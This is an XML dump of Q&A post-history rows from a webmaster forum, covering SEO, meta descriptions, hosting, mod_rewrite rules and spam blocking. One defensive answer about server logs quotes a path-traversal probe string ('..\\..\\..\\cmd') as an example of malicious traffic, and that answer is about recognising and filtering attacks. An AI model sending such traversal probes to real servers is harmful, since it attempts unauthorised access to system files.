  <row Id="16009" PostHistoryTypeId="2" PostId="7554" RevisionGUID="8c298ed6-86f8-4e7a-882e-4cbdb2f7dac0" CreationDate="2011-01-10T00:43:33.177" UserId="304" Text="They're ranked lower than their .co.uk and .com etc. counterparts, simply because they're free, easy to get hold of and less likely to be content of value.&#xD;&#xA;&#xD;&#xA;Other than that, no- you can still do all your usual SEO in efforts to counter this- should there be no popular mainstream tld for said phrase you're registering; no doubt you could get ranked sufficiently high with ease.&#xD;&#xA;&#xD;&#xA;If it helps, I wouldn't consider registering a domain for a serious or even a toy project that wasn't either `.co.uk`, `.com` or a combination that forms a word via the tld, e.g. `coolwo.rd`." />
  <row Id="16010" PostHistoryTypeId="2" PostId="7555" RevisionGUID="ebc683c8-21a3-4eae-8548-bdbc6e802c73" CreationDate="2011-01-10T00:45:38.520" UserId="1064" Text="Banning Russia is a very short-term solution: if/when your spammers realize they're blocked they'll just use different servers - it's fairly trivial to proxy requests... and you'll still be vulnerable to spam from the millions of other IP's you haven't blocked yet.&#xD;&#xA;&#xD;&#xA;If you are not already doing so, check out [Akismet][1] and [WP-reCAPTCHA][2] - the combination of spam filtering and a CAPTCHA challenge should slow spam down to a trickle.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/akismet/&#xD;&#xA;  [2]: http://wordpress.org/extend/plugins/wp-recaptcha/" />
  <row Id="16011" PostHistoryTypeId="2" PostId="7556" RevisionGUID="38b78a04-eb00-4def-b0da-f402b8b08d9d" CreationDate="2011-01-10T00:46:02.947" UserId="2379" Text="Bing has an XML site search api.  It allows you to search what is already indexed by bing, including images.  The results are either in JSON or XML.&#xD;&#xA;&#xD;&#xA;if you want to get more detailed than that, and actually want to search based upon headers, meta tags, etc, then its time to build your own spider to crawl and index your pages and throw them in a db which can be searched. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="16012" PostHistoryTypeId="2" PostId="7557" RevisionGUID="89d082af-43b5-4f25-804d-6cc91d83a157" CreationDate="2011-01-10T00:48:37.477" UserId="304" Text="I haven't tried Softlayer, the service offered by Rackspace is pretty awesome though, I've only had a couple of issues over the last two years and they resolved both within minutes. &#xD;&#xA;&#xD;&#xA;One issue in particular was caused by multiple disk failures which resulted in one of my instances going down, they recovered from this with no data loss within about 15 minutes, which is fairly impressive." />
  <row Id="16013" PostHistoryTypeId="2" PostId="7558" RevisionGUID="db91073a-e887-4c22-bf8b-36d9d222507e" CreationDate="2011-01-10T00:52:19.920" UserId="304" Text="Yes, you would need JavaScript to implement the slides feature you've described, HTML5 is just markup; you can embed a video on a page with it- but to do anything more fancy with it you'll be needing to use the usual combo of CSS and JavaScript." />
  <row Id="16014" PostHistoryTypeId="2" PostId="7559" RevisionGUID="f50aced8-f1ba-4d39-abb7-608ae81aad79" CreationDate="2011-01-10T01:24:30.817" UserId="3707" Text="I've had a server at rackspace, they did what i expected them to do. They have an awesome support though. I don't think any one could beat that.&#xD;&#xA;&#xD;&#xA;I had a site which got around 60k uv daily and it worked nicely. I do not remember any serious issue on their part, unless it was a bug in my code. &#xD;&#xA;&#xD;&#xA;As for softlayer, I've never had them.&#xD;&#xA;&#xD;&#xA;good luck&#xD;&#xA;" />
  <row Id="16015" PostHistoryTypeId="2" PostId="7560" RevisionGUID="17523ce3-1a79-427c-b2d1-47e34f3f19f6" CreationDate="2011-01-10T01:30:44.147" UserId="3707" Text="It depends how much SPACE, BANDWIDTH, CPU they are using.&#xD;&#xA;If it is a small site/blog (meaning 0-2000 uv's per month and they don't update/post a lot) then anywhere between $10-$30 is fine.&#xD;&#xA;&#xD;&#xA;My 2 cents. &#xD;&#xA;ps if it is a static 5 page html charge them $5.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16016" PostHistoryTypeId="2" PostId="7561" RevisionGUID="2cb88371-beb0-482a-8cf4-ccfd3244a97f" CreationDate="2011-01-10T01:32:17.577" UserId="3707" Text="BuddyPress? http://buddypress.org/" />
  <row Id="16017" PostHistoryTypeId="2" PostId="7562" RevisionGUID="05757980-134e-423b-b721-188d8ec17c86" CreationDate="2011-01-10T01:35:28.993" UserId="3707" Text="    RewriteEngine on&#xD;&#xA;    RewriteRule ^somepage/([^/\.]+)/?$ index.php?somepage=$1 [L]&#xD;&#xA;&#xD;&#xA;open up .htacess and put that code in there.&#xD;&#xA;&#xD;&#xA;read more here http://www.workingwith.me.uk/articles/scripting/mod_rewrite" />
  <row Id="16021" PostHistoryTypeId="2" PostId="7564" RevisionGUID="01fa8239-5af5-406e-9eff-f988de9985b3" CreationDate="2011-01-10T03:11:17.543" UserId="210" Text="    RewriteEngine On&#xD;&#xA;    RewriteBase /&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule .* index.php?page=$0  [PT]&#xD;&#xA;&#xD;&#xA;As mentioned by Michele, you'll need Apache to do this with mod_rewrite. The above will send all page requests to index.php?page=[somepage], unless the file or directory exists (for things like images).&#xD;&#xA;&#xD;&#xA;But you may also want to something more specific so all requests don't get sent to index. You would do something like:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteRule /page1 index.php?page=page1  [L]&#xD;&#xA;    RewriteRule /page2 index.php?page=page2  [L]&#xD;&#xA;&#xD;&#xA;Although this can get messy if you have a lot of pages, so then you might want something like:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteRule /([a-z0-9_]+) index.php?page=$1  [L]&#xD;&#xA;&#xD;&#xA;This will only send all the requests that match the regular expression `([a-z0-9_]+)` to index. This would be things like `page1`, `page2`, but not `section/page1`." />
  <row Id="16022" PostHistoryTypeId="5" PostId="7552" RevisionGUID="e2214401-8b2c-4707-b4dc-9ab97426d5bc" CreationDate="2011-01-10T03:36:21.527" UserId="4477" Comment="Added W3 link and restructured answer." Text="Declaring Language in XHTML and HTML&#xD;&#xA;------------------------------------&#xD;&#xA;&#xD;&#xA;The W3 describes how to formally declare the language in your web pages:&#xD;&#xA;&#xD;&#xA;[http://www.w3.org/International/tutorials/language-decl/][3]&#xD;&#xA;&#xD;&#xA;Add a **content-language** meta tag to the **head** block of each page.&#xD;&#xA;&#xD;&#xA;    &lt;meta http-equiv=&quot;content-language&quot; content=&quot;en&quot;&gt;&#xD;&#xA;&#xD;&#xA;...or...&#xD;&#xA;&#xD;&#xA;    &lt;meta http-equiv=&quot;content-language&quot; content=&quot;es&quot;&gt;&#xD;&#xA;&#xD;&#xA;Google's View of Multilingual Sites&#xD;&#xA;----------------------------------------&#xD;&#xA;&#xD;&#xA;The following article on Google's Webmaster blog talks about how to deal with multilingual web sites:&#xD;&#xA;&#xD;&#xA;[http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html][1]&#xD;&#xA;&#xD;&#xA;An second article on the same site, talks about how your particular site structure is supported and how to tell Google about your site's geo-targetting preferences:&#xD;&#xA;&#xD;&#xA;[http://googlewebmastercentral.blogspot.com/2008/08/how-to-start-multilingual-site.html][2]&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2008/08/how-to-start-multilingual-site.html&#xD;&#xA;  [3]: http://www.w3.org/International/tutorials/language-decl/ &quot;Declaring Language in XHTML and HTML&quot;" />
  <row Id="16026" PostHistoryTypeId="2" PostId="7565" RevisionGUID="05c3866f-7029-4bfd-935e-b5a59726e116" CreationDate="2011-01-10T04:37:49.320" UserId="4492" Text="I am getting far too many fake registrations through TOR exits. I would like to block these registrations like major sites do. What is the proper way to do that?&#xD;&#xA;" />
  <row Id="16027" PostHistoryTypeId="1" PostId="7565" RevisionGUID="05c3866f-7029-4bfd-935e-b5a59726e116" CreationDate="2011-01-10T04:37:49.320" UserId="4492" Text="How to ban registrations from TOR exits?" />
  <row Id="16028" PostHistoryTypeId="3" PostId="7565" RevisionGUID="05c3866f-7029-4bfd-935e-b5a59726e116" CreationDate="2011-01-10T04:37:49.320" UserId="4492" Text="&lt;geolocation&gt;&lt;spam-prevention&gt;" />
  <row Id="16029" PostHistoryTypeId="2" PostId="7566" RevisionGUID="4043a0c7-d06d-4eef-bb43-cfae21d80748" CreationDate="2011-01-10T04:41:58.947" UserId="204" Text="There isn't really any one standard price. You could pay as little as $2 per month for a shared hosting account, or several hundred a month for a big dedicated server. &#xD;&#xA;&#xD;&#xA;The best thing you could do is find them a host and hold their hand through sign up. As long as you have the password, you can get in to make any changes you need to. And that takes you out of the payment loop.&#xD;&#xA;&#xD;&#xA; If they don't want to deal with the host at all, then you'll have to sign up for the account and charge them whatever the cost is plus some profit for yourself... consider it a management fee. The problem with this method is the host will bill you monthly like clockwork, but this client may not always pay -you- on time, leaving you holding the bag for the charges. " />
  <row Id="16031" PostHistoryTypeId="2" PostId="7568" RevisionGUID="c7e1ae4c-de4e-4464-b130-85bf3f1a3f67" CreationDate="2011-01-10T04:48:30.923" UserId="4493" Text="I've worked some pretty large sites (1bn pv/day on the largest), approx 1-2% of their traffic was random exploit probing/spiders/crawlers. &#xD;&#xA;&#xD;&#xA;- Classic path manipulation stuff like ..\\..\\..\\cmd etc. &#xD;&#xA;- More sophisticated buffer-overruns in POST and/or GET looked similar to those in your logs&#xD;&#xA;- Plain screwed-up home-rolled crawlers that mis-encoded or omitted key aspects of the HTTP protocol.  &#xD;&#xA;- glitched customer connections garbling transmitted data.&#xD;&#xA;&#xD;&#xA;Seems that it's plausible that it could be a buffer overrun attack - do you see other instances of the same request pattern?  Quite plausible to see screwed up clients and connections too.  Switching on logging for other W3C variables like user agent etc. may also give you more clues.  e.g. the absence of regular headers like accepts, method etc.&#xD;&#xA;&#xD;&#xA;We generally:&#xD;&#xA;&#xD;&#xA; 1. made sure our servers were patched regularly just in case ;-)&#xD;&#xA; 2. used tools like UrlScan (we were on IIS) to throw out malformed requests early in the request pipeline.  &#xD;&#xA; 3. capped our POST and GET request sizes to prevent some of the more crazy DDoS attacks.&#xD;&#xA; 4. Pawed through all non-2xx/3xx traffic from the logs on a regular basis watching for new patterns.  Believe it or not, Excel is an excellent tool for quickly scanning and slicing and dicing data.&#xD;&#xA;&#xD;&#xA;While some actions are IIS specific, I've no doubt that nginx has similar tools.  In generally there is now so much noise on the internet from random bots, I've learned to just be vigilant and look for emerging new trends." />
  <row Id="16032" PostHistoryTypeId="2" PostId="7569" RevisionGUID="29cd5f41-15b7-49a3-8ada-7c9bcdc07c4c" CreationDate="2011-01-10T04:57:12.740" UserId="4493" Text="Don't forget SQL Azure is out on the market with up-to 50gb per-partition.&#xD;&#xA;&#xD;&#xA;- [SQL Azure on MSDN][2]&#xD;&#xA;&#xD;&#xA;- [Comparing SQL Server to SQL Azure][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [2]: http://msdn.microsoft.com/en-us/windowsazure/sqlazure/default&#xD;&#xA;  [1]: http://social.technet.microsoft.com/wiki/contents/articles/comparing-sql-server-with-sql-azure.aspx" />
  <row Id="16036" PostHistoryTypeId="2" PostId="7571" RevisionGUID="19a7d4fa-0d3c-4279-91ab-f09d7037f6df" CreationDate="2011-01-10T08:38:33.263" UserId="4499" Text="In a local listing website, I append number of search results found in the description(not in title currntly) meta tag of the page as I think this is valuable for users&#xD;&#xA;&#xD;&#xA;for e.g. &quot;Find address, phone numbers, blah blah blah for `21` outlets in `locality`. some more stuff after this...&quot;&#xD;&#xA;&#xD;&#xA;as more places are added to the database, the description for the `same page` will change frequently. is this good or bad for SEO&#xD;&#xA;&#xD;&#xA;how about doing the same for title tags?" />
  <row Id="16037" PostHistoryTypeId="1" PostId="7571" RevisionGUID="19a7d4fa-0d3c-4279-91ab-f09d7037f6df" CreationDate="2011-01-10T08:38:33.263" UserId="4499" Text="Is it good or bad to have dynamic  content in page titles and/or description" />
  <row Id="16038" PostHistoryTypeId="3" PostId="7571" RevisionGUID="19a7d4fa-0d3c-4279-91ab-f09d7037f6df" CreationDate="2011-01-10T08:38:33.263" UserId="4499" Text="&lt;seo&gt;&lt;content&gt;&lt;title&gt;&lt;meta-description&gt;&lt;dynamic&gt;" />
  <row Id="16039" PostHistoryTypeId="2" PostId="7572" RevisionGUID="f3ced36c-e391-43b9-920e-5db5ab9df7f3" CreationDate="2011-01-10T09:04:19.797" UserId="63" Text="It might be an idea to simply put: 'Find Address in `locality` and leave out the number of results from the page title and description. No one will be searching '21 addresses in locality' but they might put 'find addresses in locality'. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " />
  <row Id="16042" PostHistoryTypeId="2" PostId="7573" RevisionGUID="2cf38224-1f5c-4167-80cf-3e3d419378d8" CreationDate="2011-01-10T10:01:35.123" UserId="3461" Text="I mean, seems there's no way. I am just asking in case someone knows of a recent new site being more accurate. I am aware of Alexa's, Compete and Quantcast inaccuracies and/or limited system/range of sites to get their stats.&#xD;&#xA;&#xD;&#xA;I also know about websitegrader perhaps being a little more accurate (although not sure if that's the data I am after). And read Seomoz tools are reliable. I am yet though looking for a free solution, a 'reliable' Alexa. And not a place depending on a toolbar installation, an easy to trick place, or one with stats way too off, or of a very limited range of sites.  I am almost sure there's nothing new, but I wanted to be sure. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="16043" PostHistoryTypeId="1" PostId="7573" RevisionGUID="2cf38224-1f5c-4167-80cf-3e3d419378d8" CreationDate="2011-01-10T10:01:35.123" UserId="3461" Text="Is there a (free) reliable place to get statistics from sites, more reliable than Alexa, Quantcast, Compete?" />
  <row Id="16044" PostHistoryTypeId="3" PostId="7573" RevisionGUID="2cf38224-1f5c-4167-80cf-3e3d419378d8" CreationDate="2011-01-10T10:01:35.123" UserId="3461" Text="&lt;traffic&gt;&lt;statistics&gt;&lt;alexa&gt;&lt;quantcast&gt;" />
  <row Id="16045" PostHistoryTypeId="2" PostId="7574" RevisionGUID="951e4140-1c73-4693-a8f6-75eaf85dcf76" CreationDate="2011-01-10T10:08:37.923" UserId="3" Text="I received this bit of advice about the meta description tag recently:&#xD;&#xA;&#xD;&#xA;&gt; Meta descriptions are used by Google probably 80% of the time for the snippet. They don’t help with rankings but you should probably use them. You could just auto generate them from the first part of the question.&#xD;&#xA;&#xD;&#xA;The description tag exists in the header, like so:&#xD;&#xA;&#xD;&#xA;`&lt;meta name=&quot;Description&quot; content=&quot;A brief summary of the content on the page.&quot;&gt;`&#xD;&#xA;&#xD;&#xA;I'm not sure why we would *need* this field, as Google seems perfectly capable of showing the relevant search terms in context in the search result pages, like so (I searched for **c# list performance**):&#xD;&#xA;&#xD;&#xA;![google keyword highlighting][1]&#xD;&#xA;&#xD;&#xA;In other words, **where would a meta description summary improve these results?** We want the page to show context around the actual search hits, not a random summary we inserted! &#xD;&#xA;&#xD;&#xA;Google Webmaster Central [has this advice][2]:&#xD;&#xA;&#xD;&#xA;&gt; For some sites, like news media sources, generating an accurate and unique description for each page is easy: since each article is hand-written, it takes minimal effort to also add a one-sentence description. For larger database-driven sites, like product aggregators, hand-written descriptions are more difficult. In the latter case, though, programmatic generation of the descriptions can be appropriate and is encouraged -- just make sure that your descriptions are not &quot;spammy.&quot; Good descriptions are human-readable and diverse, as we talked about in the first point above. The page-specific data we mentioned in the second point is a good candidate for programmatic generation.&#xD;&#xA;&#xD;&#xA;I'm struggling to think of any scenario when I would want the Google-generated summary, that is, context for the actual search term hits, to be *replaced* by a hard-coded meta description summary of the question itself.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/U6Ht7.png&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2007/09/improve-snippets-with-meta-description.html" />
  <row Id="16046" PostHistoryTypeId="1" PostId="7574" RevisionGUID="951e4140-1c73-4693-a8f6-75eaf85dcf76" CreationDate="2011-01-10T10:08:37.923" UserId="3" Text="Is meta description still relevant?" />
  <row Id="16047" PostHistoryTypeId="3" PostId="7574" RevisionGUID="951e4140-1c73-4693-a8f6-75eaf85dcf76" CreationDate="2011-01-10T10:08:37.923" UserId="3" Text="&lt;meta-description&gt;&lt;meta-keywords&gt;" />
  <row Id="16048" PostHistoryTypeId="5" PostId="7574" RevisionGUID="16b93ecb-ec04-4f74-a5b7-a1b9b411177e" CreationDate="2011-01-10T10:15:07.713" UserId="3" Comment="added 7 characters in body" Text="I received this bit of advice about the meta description tag recently:&#xD;&#xA;&#xD;&#xA;&gt; Meta descriptions are used by Google probably 80% of the time for the snippet. They don’t help with rankings but you should probably use them. You could just auto generate them from the first part of the question.&#xD;&#xA;&#xD;&#xA;The description tag exists in the header, like so:&#xD;&#xA;&#xD;&#xA;`&lt;meta name=&quot;Description&quot; content=&quot;A brief summary of the content on the page.&quot;&gt;`&#xD;&#xA;&#xD;&#xA;I'm not sure why we would *need* this field, as Google seems perfectly capable of showing the relevant search terms in context in the search result pages, like so (I searched for **c# list performance**):&#xD;&#xA;&#xD;&#xA;![google keyword highlighting][1]&#xD;&#xA;&#xD;&#xA;In other words, **where would a meta description summary improve these results?** We want the page to show context around the actual search hits, not a random summary we inserted! &#xD;&#xA;&#xD;&#xA;Google Webmaster Central [has this advice][2]:&#xD;&#xA;&#xD;&#xA;&gt; For some sites, like news media sources, generating an accurate and unique description for each page is easy: since each article is hand-written, it takes minimal effort to also add a one-sentence description. For larger database-driven sites, like product aggregators, hand-written descriptions are more difficult. In the latter case, though, programmatic generation of the descriptions can be appropriate and is encouraged -- just make sure that your descriptions are not &quot;spammy.&quot; Good descriptions are human-readable and diverse, as we talked about in the first point above. The page-specific data we mentioned in the second point is a good candidate for programmatic generation.&#xD;&#xA;&#xD;&#xA;I'm struggling to think of any scenario when I would want the Google-generated summary, that is, actual context for the actual search term hits, to be *replaced* by a hard-coded meta description summary of the question itself.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/U6Ht7.png&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2007/09/improve-snippets-with-meta-description.html" />
  <row Id="16049" PostHistoryTypeId="5" PostId="7574" RevisionGUID="ec025603-b4b7-4dda-a4d8-633755e628b8" CreationDate="2011-01-10T10:20:12.713" UserId="3" Comment="added 3 characters in body" Text="I received this bit of advice about the meta description tag recently:&#xD;&#xA;&#xD;&#xA;&gt; Meta descriptions are used by Google probably 80% of the time for the snippet. They don’t help with rankings but you should probably use them. You could just auto generate them from the first part of the question.&#xD;&#xA;&#xD;&#xA;The description tag exists in the header, like so:&#xD;&#xA;&#xD;&#xA;`&lt;meta name=&quot;Description&quot; content=&quot;A brief summary of the content on the page.&quot;&gt;`&#xD;&#xA;&#xD;&#xA;I'm not sure why we would *need* this field, as Google seems perfectly capable of showing the relevant search terms in context in the search result pages, like so (I searched for **c# list performance**):&#xD;&#xA;&#xD;&#xA;![google keyword highlighting][1]&#xD;&#xA;&#xD;&#xA;In other words, **where would a meta description summary improve these results?** We want the page to show context around the actual search hits, not a random summary we inserted! &#xD;&#xA;&#xD;&#xA;Google Webmaster Central [has this advice][2]:&#xD;&#xA;&#xD;&#xA;&gt; For some sites, like news media sources, generating an accurate and unique description for each page is easy: since each article is hand-written, it takes minimal effort to also add a one-sentence description. For larger database-driven sites, like product aggregators, hand-written descriptions are more difficult. In the latter case, though, programmatic generation of the descriptions can be appropriate and is encouraged -- just make sure that your descriptions are not &quot;spammy.&quot; Good descriptions are human-readable and diverse, as we talked about in the first point above. The page-specific data we mentioned in the second point is a good candidate for programmatic generation.&#xD;&#xA;&#xD;&#xA;I'm struggling to think of any scenario when I would want the Google-generated summary, that is, actual context from the page for the search terms, to be *replaced* by a hard-coded meta description summary of the question itself.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/U6Ht7.png&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2007/09/improve-snippets-with-meta-description.html" />
  <row Id="16050" PostHistoryTypeId="2" PostId="7575" RevisionGUID="c1852146-030a-4141-84bb-b8ad46f7be2a" CreationDate="2011-01-10T10:32:26.880" UserId="4502" Text="I think the issue is less about which is right or even &quot;better&quot; than there just being two different questions or use cases. (And, as usual with Google, really no single answer.)&#xD;&#xA;&#xD;&#xA;You're basically saying you like seeing the terms you searched for in context, in the content of the search results. That's fine when it works, but I suppose there could be cases where it shows you snippets that while they may show the words you've chosen don't actually tell you much about the overall document. For example, a &lt;a href=&quot;c# list performance improve&quot;&gt;search&lt;/a&gt; with just one more term(ie. http://www.google.com/search?q=c%23+list+performance+improve ) rapidly starts showing results whose snippets don't include one or more of the terms even though they do appear in the content, which possibly starts making your preference here mean less since you can't see them before clicking through anyway.&#xD;&#xA;&#xD;&#xA;Generally, a meta description should be an overall summary that's useful regardless of whether it involves your specific search terms. (In theory, anyway.)" />
  <row Id="16051" PostHistoryTypeId="2" PostId="7576" RevisionGUID="9064a8e8-6ff7-4ff5-837b-664937cc23cc" CreationDate="2011-01-10T10:40:57.130" UserId="4503" Text="I think a meta description can best be described as a marketing tool. Since they are not used for ranking they only serve as information for users. Since google uses them most of the time it's an opportunity for you to give the user good information about what they'll get if they click the link. Sure, snippets with search term context are probably best in most cases, but a lot of the time it is not possible and the meta description is used as the fall back.&#xD;&#xA;&#xD;&#xA;With the context of stack exchange sites I do see your point, but ultimately your opinion doesn't matter. Google does it how they do it, so now you need to create a good algo for what you'll shove into the meta description. Sounds like a good candidate for an A/B test. If you increase search engine referrals with good meta descriptions then you've settled it." />
  <row Id="16053" PostHistoryTypeId="2" PostId="7577" RevisionGUID="47a159ee-1844-421b-8c3a-613f03973384" CreationDate="2011-01-10T11:02:23.067" UserId="60" Text="The meta description is used in the those cases where your page is returned in results, but the users search terms don't actually appear on the page in question.&#xD;&#xA;&#xD;&#xA;I.e. if you click through to the &quot;Cached&quot; version of a page and it says at the top &quot;The following terms only appear in links to this page&quot;.&#xD;&#xA;&#xD;&#xA;Obviously, this is an unlikely occurrence for the StackExchange sites, but it is still potentially relevant for other types of sites. " />
  <row Id="16054" PostHistoryTypeId="2" PostId="7578" RevisionGUID="7c4703e7-7a93-4224-8e6f-f48b3154261f" CreationDate="2011-01-10T11:26:57.407" UserId="1218" Text="Have you considered [Regonline][1]? I've used it before, and it's definitely the quickest and easiest, and although it's not on your domain name, you can customise to your look and feel. I'm not sure how easy it is to create a $0 option for speakers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.regonline.com" />
  <row Id="16055" PostHistoryTypeId="2" PostId="7579" RevisionGUID="fc57c4e1-3a55-4e88-8ab9-894d8a30e173" CreationDate="2011-01-10T11:41:55.640" UserId="325" Text="For events, you should check [Eventbrite][1]. It has everything you need, and much more! It's FREE for free events, and works for small commission in case you are charging for your event.&#xD;&#xA;&#xD;&#xA;I have been using it for a while now and it really awesome.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.eventbrite.com/" />
  <row Id="16059" PostHistoryTypeId="2" PostId="7581" RevisionGUID="a06ec4e3-e192-49d8-b650-502c82de0a25" CreationDate="2011-01-10T11:51:10.173" UserDisplayName="Dave S." Text="IMO, unique description (must be related to the page content) still helps!" />
  <row Id="16060" PostHistoryTypeId="2" PostId="7582" RevisionGUID="f9945901-4e73-49b1-83f9-4e1e31477f64" CreationDate="2011-01-10T11:54:01.783" UserId="2490" Text="[Arvixe][1] is very good, business class has dedicated ip.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-4.html" />
  <row Id="16061" PostHistoryTypeId="2" PostId="7583" RevisionGUID="d0991497-9690-449a-938e-447171e3ad06" CreationDate="2011-01-10T12:07:42.620" UserId="1993" Text="We use MediaWiki together with the [MultiBoilerplate][1] extension which means users can select from multiple default pages using a drop down list. It is also very easy to configure the default pages and add / remove boilerplates.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mediawiki.org/wiki/Extension:MultiBoilerplate" />
  <row Id="16062" PostHistoryTypeId="2" PostId="7584" RevisionGUID="622ca723-ca0c-4f5a-9a82-1edd5ce1bc09" CreationDate="2011-01-10T12:20:10.710" UserId="4515" Text="I'm not sure if this is the right place to ask such a question...&#xD;&#xA;Let's say that a website posted a picture of me, without my consent, and I want to be removed (it's something private, could compromise my career if it's seen by someone that shouldn't). I sent them an email asking nicely that they should remove it, but they didn't respond and the picture is still there.&#xD;&#xA;Using 'Whois' I found that the website is hosted by GoDaddy.&#xD;&#xA;Is there a way (an email address, for ex.) to report to GoDaddy that one of the sites they're hosting does something illegal and to force them to remove the photo? I searched the site and found nothing about such a thing.&#xD;&#xA;Thnaks in advance!" />
  <row Id="16063" PostHistoryTypeId="1" PostId="7584" RevisionGUID="622ca723-ca0c-4f5a-9a82-1edd5ce1bc09" CreationDate="2011-01-10T12:20:10.710" UserId="4515" Text="How to report abuse to website hosting company (GoDaddy)" />
  <row Id="16064" PostHistoryTypeId="3" PostId="7584" RevisionGUID="622ca723-ca0c-4f5a-9a82-1edd5ce1bc09" CreationDate="2011-01-10T12:20:10.710" UserId="4515" Text="&lt;web-hosting&gt;&lt;problem&gt;&lt;reporting&gt;" />
  <row Id="16065" PostHistoryTypeId="2" PostId="7585" RevisionGUID="799f59ae-1ba1-4290-b71d-e278f58d2656" CreationDate="2011-01-10T12:48:19.920" UserId="1253" Text="No. No one that has that kind of data because it relies on tracking software being installed on every website which is obviously not happening. Sites like Google Analytics and other trackers that have a large client base don't release most of this data they have for free or at all. Alexa and similar sites are the best you can do (and they just aren't very good)." />
  <row Id="16066" PostHistoryTypeId="2" PostId="7586" RevisionGUID="9dc10dac-71ed-45db-85bb-844cfff72863" CreationDate="2011-01-10T13:02:10.167" UserId="2131" Text="To be honest I think this recommendation comes from stalwarts in the SEO community who just can't move past the fact that their knowledge of how search worked back in 1999 isn't how it works in 2011.  It use to be that the description tag was used as the blurb below the title, because no real analytics was really done on a page.  Everything you searched for was based on the `keyword` or the `description` meta tags.&#xD;&#xA;&#xD;&#xA;I would say that it is not worth the extra bytes.  Because the search engines you really care about, Google and Bing, already find the relevant information in the page.  And if they don't the search probably isn't going to show up.&#xD;&#xA;&#xD;&#xA;The one place that it might be useful for is for all flash pages, where the content isn't easily indexable by the search engine, and the site has a tone of inbound links that the search engine deems relevant.  Such as a popular flash game.  &#xD;&#xA;&#xD;&#xA;Alternatively, if you really have bytes to kill, and you want to add relevant meta information to your page.  You should probably be looking at the Open Graph Protocol.&#xD;&#xA;&#xD;&#xA;http://developers.facebook.com/docs/opengraph&#xD;&#xA;&#xD;&#xA;Since Facebook is a highly structuralized environment it makes sense to control your information that is sent over there using meta data.  Not so much for Google with the description tag." />
  <row Id="16067" PostHistoryTypeId="17" PostId="7588" RevisionGUID="4af38826-a3c8-4802-8887-a36a9d3f2885" CreationDate="2011-01-10T13:18:56.060" UserId="-1" Comment="from http://stackoverflow.com/questions/4632161/what-is-google-search-engine-interested-in-on-html-pages/4632168#4632168" Text="" />
  <row Id="16068" PostHistoryTypeId="17" PostId="7589" RevisionGUID="dc63312e-944c-4a9c-85cc-f03f429c7015" CreationDate="2011-01-10T13:18:56.060" UserId="-1" Comment="from http://stackoverflow.com/questions/4632161/what-is-google-search-engine-interested-in-on-html-pages/4632179#4632179" Text="" />
  <row Id="16069" PostHistoryTypeId="17" PostId="7590" RevisionGUID="97f1082c-2331-48f4-9cb7-5a628ac92ad7" CreationDate="2011-01-10T13:18:56.060" UserId="-1" Comment="from http://stackoverflow.com/questions/4632161/what-is-google-search-engine-interested-in-on-html-pages/4632295#4632295" Text="" />
  <row Id="16070" PostHistoryTypeId="17" PostId="7591" RevisionGUID="76713d2d-1ce9-4ff5-ac11-55db8e2afcda" CreationDate="2011-01-10T13:18:56.060" UserId="-1" Comment="from http://stackoverflow.com/questions/4632161/what-is-google-search-engine-interested-in-on-html-pages/4633613#4633613" Text="" />
  <row Id="16071" PostHistoryTypeId="2" PostId="7588" RevisionGUID="c4af45c2-99f3-454d-8df4-cad21d78d68a" CreationDate="2011-01-08T03:28:19.883" UserId="4038" Text="Content, content, content, headlines, links, content, content, links, content, content, and perhaps meta keywords." />
  <row Id="16072" PostHistoryTypeId="2" PostId="7589" RevisionGUID="9c4d6f8d-8d28-4125-9ba6-31822f2f87ab" CreationDate="2011-01-08T03:32:43.787" UserDisplayName="mingos" Text="Everything. Outgoing links, their context, non-repeated content and tons, tons more. Find some SEO-related resources for detailed info." />
  <row Id="16073" PostHistoryTypeId="2" PostId="7590" RevisionGUID="ba9ba93c-9368-4b68-8567-e594a4f1b2f3" CreationDate="2011-01-08T04:14:32.473" UserDisplayName="freejelly" Text="Title, Body, Metatags and other people's links to your websites." />
  <row Id="16074" PostHistoryTypeId="2" PostId="7591" RevisionGUID="c7dfcfa8-c820-4389-9d89-9338e505e9d0" CreationDate="2011-01-08T11:21:19.403" UserDisplayName="hoakey" Text="Also, consider setting up landing pages for specific keywords. Google is interested in relevancy above almost all else. Have pages specificly design to target relevant keywords, with uber relevant content. Google will thank you for it." />
  <row Id="16075" PostHistoryTypeId="2" PostId="7587" RevisionGUID="122a6302-1da5-436c-8f71-1e51e5c52894" CreationDate="2011-01-08T03:25:48.623" UserDisplayName="Kabumbus" Text="Of course I know there are meta keywords, html structure, and site map but what else is google intErested in?" />
  <row Id="16076" PostHistoryTypeId="1" PostId="7587" RevisionGUID="122a6302-1da5-436c-8f71-1e51e5c52894" CreationDate="2011-01-08T03:25:48.623" UserDisplayName="Kabumbus" Text="What is google search engine interested in on html pages?" />
